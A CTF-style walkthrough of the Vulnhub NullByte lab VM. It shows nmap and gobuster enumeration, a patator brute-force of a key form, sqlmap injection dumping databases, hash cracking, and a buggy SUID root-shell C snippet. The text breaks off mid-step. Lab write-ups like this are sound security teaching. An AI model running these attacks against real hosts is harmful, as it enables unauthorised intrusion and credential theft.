# NullByte Walkthrough
Here's my attempt to provide walkthroughs for various VM's from Vulnhub & HTB.
## Null Byte (Vulnhub)
First off we need to identify the IP address the VM spin up on:
```
$ nmap -sn 192.168.1.0/24
```
{% hint style="info" %}
nmap changed syntax\
nmap -sP 192.168.1.0/24
{% endhint %}
We will need the following code if we encounter a SUID binary:
```
ps.c
# Ain't no code for that yet, sorry
include
int main()
{
setuid(0);
setguid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}
```
We identify which port(s) are listening for the server:\
nmap -O -v -sS 192.168.1.142
\
\
We noticed a web server on port 80. What's listening on port 777 - we can utilize netcat to check for the service banner. Ahh it's actually the SSH daemon. Once we have a user and a valid pass we can attempt for a shell on the box using:\
**ssh user\@192.168.1.142 -p 777**
\
Let's see what other interesting directories we can find by using dirbuster with a wordlist.
```
gobuster dir -u http://192.168.1.142 -w /usr/share/dirbuster/wordlists/directory-list-1.0.txt
```
Only 2 directories which appears interesting and not much we can do as directory listing is disabled on the uploads folder and we need credentials for the phpmyadmin page.
Here most people including me didn't know that the next step would be to analyze the default image displayed on the home page.
The sentence is from an ancient Egyptian proverb. If we run the image (GIF in this case) through a tool called EXIF we can get any text hidden inside the image.
This text string after some consideration is actually a directory on the webserver. On initial looks it's asking for some key. This is where one can only resort to brute force to perhaps see if it's a simple key.\
Viewing the source code reveals something in the lines of:\
\&#xNAN;*\*
patator http\_fuzz url= method=POST body='key=FILE0' 0=/home/kali/10k-most-common.txt follow=1 -x ignore:fgrep='invalid key'\
Next we move on to the next page revealed. we put in a to search. it reveals a user called ramses.
just browsing to or using curl\
\
\
we get the following results:\
EMP ID :1 EMP NAME : ramses
### ***EMP POSITION :***
***EMP ID :2 EMP NAME : isis***
### ***EMP POSITION : employee***
***Fetched data successfully***
*These could be 2 possible users on the system. This is where we will need to check if the page is vulnerable to sql injection. The quickest would be to use sqlmap:*\
\
sqlmap -u --dbs\
\
\
low and behold we can see all the databases:\
\
\[10:45:14] \[INFO] fetching database names available databases \[5]: \[*] information\_schema* \
*\[*] mysql \
\[*] performance\_schema* \
*\[*] phpmyadmin \
\[\*] seth\
\
sqlmap -u [http://192.168.1.142/kzMb5nVYJw/420search.php?usrtosearch='DESCRIBE](http://192.168.1.142/kzMb5nVYJw/420search.php?usrtosearch=%27DESCRIBE) phpmyadmin' --dbs --dump
\
we're presented with a strange hash string next to the username ramses.
we can utilize the following URI to quickly identify the hash type:\
\
as seen below it's actually a base64 encoded string
running the md5 hash through crackstation shows us a possible password:
\
\